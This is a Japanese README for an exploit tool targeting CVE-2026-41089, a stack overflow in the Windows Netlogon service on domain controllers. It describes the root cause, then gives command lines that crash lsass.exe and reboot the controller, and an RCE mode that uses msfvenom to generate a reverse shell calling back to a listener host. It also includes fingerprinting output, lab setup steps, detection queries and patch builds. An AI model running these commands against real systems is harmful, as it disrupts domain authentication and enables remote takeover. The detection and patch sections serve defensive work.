
CVE-2026-41089 は Windows Netlogon サービスにおける重要なリモートコード実行脆弱性であり、単一パケットで lsass.exe をクラッシュさせ、ドメインコントローラを約 30~60 秒で再起動させます。この間、当該 DC のすべてのドメイン認証は失敗します。
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
攻撃ベクトル: UDP/389 (CLDAP SearchRequest)
影響: リモートコード実行 (RCE) / サービス拒否 (DoS)
影響を受けるバージョン: Windows Server 2012 R2 ~ 2025 (ドメインコントローラー)
パッチ: 2026年5月の累積更新プログラム
netlogon.dll の NetpLogonPutUnicodeString 関数は、CLDAP 検索要求を処理する際にスタックバッファオーバーフローが発生します。この関数はバイト長のバッファサイズを受け取りますが、それを WCHAR 数 として解釈するため、書き込み量が想定の 2 倍 になります。
オーバーフローは NlGetLocalPingResponse 関数の 528 バイト(264 ushort) の固定サイズのスタックバッファで発生します。攻撃者が制御可能な User フィールドと、サーバー自身の DNS ドメイン名がこのバッファを埋め、最終的に GS セキュリティクッキーを上書きし、__report_gsfailure および lsass.exe のクラッシュを引き起こします。
NtVer=0x02(古い脆弱な BuildSamLogonResponse パスを強制)User フィールドの長さが約 130 文字以上(バイナリ上限は約 260 バイト UTF-16)注意:
NtVer=0x16(多くの公開検出スクリプトで使用される値)は安全なBuildSamLogonResponseExパスをトリガーし、脆弱性をトリガーしません。
| モード | 説明 |
|---|---|
--mode dos | 巧妙に細工された CLDAP パケットを送信し、LSASS をクラッシュさせ、DC を再起動させる(認証中断約 60 秒) |
--mode rce | リモートコード実行を試行(研究レベル、シェルコードが必要) |
単一パケットで lsass.exe をクラッシュさせ、ドメインコントローラーを約 30~60 秒間再起動させます。この間、その DC に対するすべてのドメイン認証が失敗します。
# 基本的な使い方 — 3 パケット送信
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# 単一パケット高速攻撃
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# アグレッシブモード — 5 パケット同時送信
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ 研究レベル — 実環境では信頼性が低く不安定です。
RCE は以下の課題に直面します:
# シェルコードの生成
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# RCE ペイロードの送信
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# 対象の DC のフィンガープリントを取得
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
想定される出力例(パッチ適用済みターゲット):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
想定される出力例(未パッチターゲット):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
NtVer=0x02 がタイムアウトし、他のバージョンが正常に応答する場合、ターゲットは脆弱である可能性が高いです。
# Windows Server(未パッチ)で長いドメイン名の DC を作成:
# 1. ドメインコントローラーに昇格(DNS ドメイン名が長いもの、例 "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. 2026年5月より前のパッチが適用されていることを確認
# 3. 攻撃マシンから以下を実行:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. DC のクラッシュと再起動を確認
User > 100 バイトかつ NtVer = 0x02 の CLDAP SearchRequestEvent ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
本ツールは許可されたセキュリティ評価、ペネトレーションテスト、CTF 競技、および防御研究のためのみ使用されます。明示的な書面による許可なく本ツールをいかなるシステムで使用することも違法です。使用者はすべての法的責任を負うものとします。
--mode scan | 異なる NtVer 値に対する応答をスキャンし、対象の DC のフィンガープリントを取得 |
--mode auto | 自動検出し、最適な攻撃戦略を選択 |
| パラメータ | 説明 | デフォルト値 |
|---|
-l, --user-len | ユーザー名フィールドの長さ(ASCII 文字数) | 180 |
--ntver | NtVer 値(16進数、例 0x02) | 0x02 |
--count | 送信する DoS パケット数 | 3 |
--delay | パケット間の遅延(秒) | 0.5 |
-t, --timeout | ソケットタイムアウト(秒) | 5.0 |
--json | JSON 形式で結果を出力 | — |
--raw | 送信前に生パケットの16進数を表示 | — |
--quiet | バナー出力を抑制 | — |
--shellcode-file | カスタムシェルコードファイル(生 x64) | — |
--lhost | リバースシェルのリッスンアドレス | — |
--lport | リバースシェルのリッスンポート | 4444 |
| Windows Server バージョン | 修正ビルド番号 | 備考 |
|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |